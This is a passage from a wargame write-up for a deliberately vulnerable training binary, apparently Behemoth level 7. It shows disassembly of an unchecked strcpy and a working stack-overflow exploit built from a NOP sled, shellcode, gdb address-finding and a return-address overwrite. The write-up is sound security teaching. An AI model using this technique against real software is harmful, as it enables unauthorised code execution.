35:  8048594:       85 c0                   test   eax,eax
36:  8048596:       75 ae                   jne    8048546 <main+0x1b>
37:  8048598:       c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
38:  804859f:       83 7d 08 01             cmp    DWORD PTR [ebp+0x8],0x1
39:  80485a3:       0f 8e 9a 00 00 00       jle    8048643 <main+0x118>
40:  80485a9:       eb 6d                   jmp    8048618 <main+0xed>
41:  80485ab:       83 45 f4 01             add    DWORD PTR [ebp-0xc],0x1
42:  80485af:       e8 5c fe ff ff          call   8048410 <__ctype_b_loc@plt>
43:  80485b4:       8b 10                   mov    edx,DWORD PTR [eax]
44:  80485b6:       8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]
45:  80485b9:       0f b6 00                movzx  eax,BYTE PTR [eax]
46:  80485bc:       0f be c0                movsx  eax,al
47:  80485bf:       01 c0                   add    eax,eax
48:  80485c1:       01 d0                   add    eax,edx
49:  80485c3:       0f b7 00                movzx  eax,WORD PTR [eax]
50:  80485c6:       0f b7 c0                movzx  eax,ax
51:  80485c9:       25 00 04 00 00          and    eax,0x400
52:  80485ce:       85 c0                   test   eax,eax
53:  80485d0:       75 42                   jne    8048614 <main+0xe9>
54:  80485d2:       e8 39 fe ff ff          call   8048410 <__ctype_b_loc@plt>
55:  80485d7:       8b 10                   mov    edx,DWORD PTR [eax]
56:  80485d9:       8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]
57:  80485dc:       0f b6 00                movzx  eax,BYTE PTR [eax]
58:  80485df:       0f be c0                movsx  eax,al
59:  80485e2:       01 c0                   add    eax,eax
60:  80485e4:       01 d0                   add    eax,edx
61:  80485e6:       0f b7 00                movzx  eax,WORD PTR [eax]
62:  80485e9:       0f b7 c0                movzx  eax,ax
63:  80485ec:       25 00 08 00 00          and    eax,0x800
64:  80485f1:       85 c0                   test   eax,eax
65:  80485f3:       75 1f                   jne    8048614 <main+0xe9>
66:  80485f5:       a1 40 99 04 08          mov    eax,ds:0x8049940
67:  80485fa:       68 d0 86 04 08          push   0x80486d0
68:  80485ff:       68 d8 86 04 08          push   0x80486d8
69:  8048604:       50                      push   eax
70:  8048605:       e8 e6 fd ff ff          call   80483f0 <fprintf@plt>
71:  804860a:       83 c4 0c                add    esp,0xc
72:  804860d:       6a 01                   push   0x1
73:  804860f:       e8 ac fd ff ff          call   80483c0 <exit@plt>
74:  8048614:       83 45 fc 01             add    DWORD PTR [ebp-0x4],0x1
75:  8048618:       8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]
76:  804861b:       0f b6 00                movzx  eax,BYTE PTR [eax]
77:  804861e:       84 c0                   test   al,al
78:  8048620:       74 09                   je     804862b <main+0x100>
79:  8048622:       81 7d f4 ff 01 00 00    cmp    DWORD PTR [ebp-0xc],0x1ff
80:  8048629:       7e 80                   jle    80485ab <main+0x80>
81:  804862b:       8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
82:  804862e:       83 c0 04                add    eax,0x4
83:  8048631:       8b 00                   mov    eax,DWORD PTR [eax]
84:  8048633:       50                      push   eax
85:  8048634:       8d 85 f4 fd ff ff       lea    eax,[ebp-0x20c]
86:  804863a:       50                      push   eax
87:  804863b:       e8 70 fd ff ff          call   80483b0 <strcpy@plt>
88:  8048640:       83 c4 08                add    esp,0x8
89:  8048643:       b8 00 00 00 00          mov    eax,0x0
90:  8048648:       c9                      leave
91:  8048649:       c3                      ret

The Exploit

After we assemble our shellcode, we're going to use a nop sled to make life easier.

1: $ nasm -f bin -o shellcode.bin shellcode.asm
2: $ python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"* 1024)' > sled.bin
3: $ cat sled.bin shellcode.bin > shellcode

Now we need the memory address of argv[2].

 1: (gdb) b main
 2: Breakpoint 1 at 0x8048534
 3: (gdb) r $(python3 -c 'print("A" * 528, end="")') $(cat shellcode)
 4: Starting program: /behemoth/behemoth7 $(python3 -c 'print("A" * 528, end="")') $(cat shellcode)
 5: 
 6: Breakpoint 1, 0x08048534 in main ()
 7: (gdb) x/4wx $ebp
 8: 0xffffcf48:     0x00000000      0xf7e2a286      0x00000003      0xffffcfe4
 9: (gdb) x/3wx 0xffffcfe4
10: 0xffffcfe4:     0xffffd142      0xffffd156      0xffffd367
11: (gdb) x/s 0xffffd156
12: 0xffffd156:     'A' <repeats 200 times>...
13: (gdb)

0xffffd367 is the address of our shellcode. Because we have a nop sled, I'm just going to estimate it as 0xffffd401.

1: $ /behemoth/behemoth7 $(python3 -c 'print("A" * 528, end="")'; printf "\x01\xd4\xff\xff") $(cat shellcode)
2: XXXXXXXXXX